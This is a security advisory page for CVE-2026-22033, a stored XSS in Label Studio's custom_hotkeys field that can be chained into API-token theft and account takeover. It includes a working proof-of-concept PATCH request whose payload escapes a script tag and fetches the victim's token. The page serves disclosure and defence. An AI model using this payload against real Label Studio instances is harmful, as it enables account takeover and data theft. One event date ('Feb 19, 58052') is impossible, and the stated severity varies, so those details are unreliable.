CVE-2026-22033: Label Studio vulnerable to full account takeover by chaining Stored XSS + IDOR in User Profile via custom_hotkeys field

Published Jan 12, 2026
·
Updated

Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the customhotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their customhotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

js var customHotkeys = {{ user.customhotkeys|jsondumpsensureascii|safe }}; Here, user.customhotkeys is run through jsondumpsensureascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensureascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of customhotkeys:

python user.customhotkeys = serializer.validateddata['customhotkeys'] user.save(updatefields=['customhotkeys'])

The serializer allows < and > characters (e.g., "</script><script>…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

json { "firstname":"poc", "lastname":"test", "phone":"123", "customhotkeys":{ "INJ;</script><script>fetch(/api/current-user/token).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/xx":{ "key":"x", "active":true } } } When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original <script> tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

PoC

1. Login to the application - Go to the login page: GET /user/login/

2. Identify your user ID (via API) - GET /api/current-user/whoami - In the response JSON you will see your user ID (for example "id": 123). - Note this ID for the next step.

3. Inject a malicious hotkey payload in the PATCH request /api/users/{id} - Using the user API, send a PATCH request to update your customhotkeys.

Example request

http PATCH /api/users/25 HTTP/1.1 Host: 0.0.0.0:8080 Content-Length: 288 sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10157) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 content-type: application/json baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-publickey=5f51920ff82a4675a495870244869c6b,sentry-traceid=926224d7bbfb4f0da9f6ebe333744a52,sentry-samplerate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false Accept: / Origin: http://0.0.0.0:8080 Referer: http://0.0.0.0:8080/user/account/personal-info Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6 Cookie: {STRIPPED} Connection: keep-alive

{ "firstname":"poc", "lastname":"test", "phone":"123", "customhotkeys":{ "INJ;</script><script>fetch(/api/current-user/token).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/xx":{ "key":"x", "active":true } } } Example response json {"id":25,"firstname":"poc","lastname":"test","username":"test","email":"test@dcodx.com","lastactivity":"2025-10-24T15:18:18.494398Z","customhotkeys":{"INJ;</script><script>fetch(/api/current-user/token).then(r=>r.json()).then(t=>alert(t.token))</script><script>/xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","activeorganization":1,"activeorganizationmeta":{"title":"Label Studio","email":"poctestxgd9ce@example.com"},"allownewsletters":false,"datejoined":"2025-10-24T15:18:18.494532Z"} 4. Verify the injected string persists - Still logged in as your user, go to your account page (e.g., GET /user/account/). - See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact: - Full account takeover of victim user(s). - Exposure of API tokens granting access to internal/external APIs. - Unauthorized API access, data exfiltration, token reset or privilege escalation. - If victim is administrator or privileged user, wide system compromise possible.

Who is impacted: - All users who load the template and whose session/token is accessible via browser. - The organization’s application and data. - Potentially other end-users if cross-user token exfiltration occurs.

Other sources

Label Studio is a multi-type data labeling and annotation tool. In 1.22.0 and earlier, a persistent stored cross-site scripting (XSS) vulnerability exists in the customhotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their customhotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access.

MITRE

Affected Software

2 affected components
pip/label-studio<=1.22.0
HumanSignal Label Studio<=1.22.0

Event History

Jan 12, 2026
Advisory Published
via GitHub·04:12 PM
Data Sourced
via GitHub·04:12 PM
DescriptionWeaknessAffected Software
CVE Published
via MITRE·05:47 PM
Data Sourced
via MITRE·05:47 PM
DescriptionWeakness
Data Sourced
via NVD·06:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 PM
RemedyAffected Software
Feb 19, 58052
Event
via FIRST·02:24 PM

Frequently Asked Questions

1

What is the severity of CVE-2026-22033?

CVE-2026-22033 is classified as a high severity vulnerability due to its potential for persistent stored cross-site scripting (XSS) exploitation.

2

How do I fix CVE-2026-22033?

To fix CVE-2026-22033, upgrade to a version of label-studio higher than 1.22.0 that addresses the vulnerability.

3

Who is affected by CVE-2026-22033?

CVE-2026-22033 affects all users of the label-studio application up to version 1.22.0.

4

What type of vulnerability is CVE-2026-22033?

CVE-2026-22033 is a persistent stored cross-site scripting (XSS) vulnerability found in the custom_hotkeys feature.

5

Can CVE-2026-22033 be exploited by unauthenticated users?

No, CVE-2026-22033 requires the attacker to be authenticated to exploit the stored XSS vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203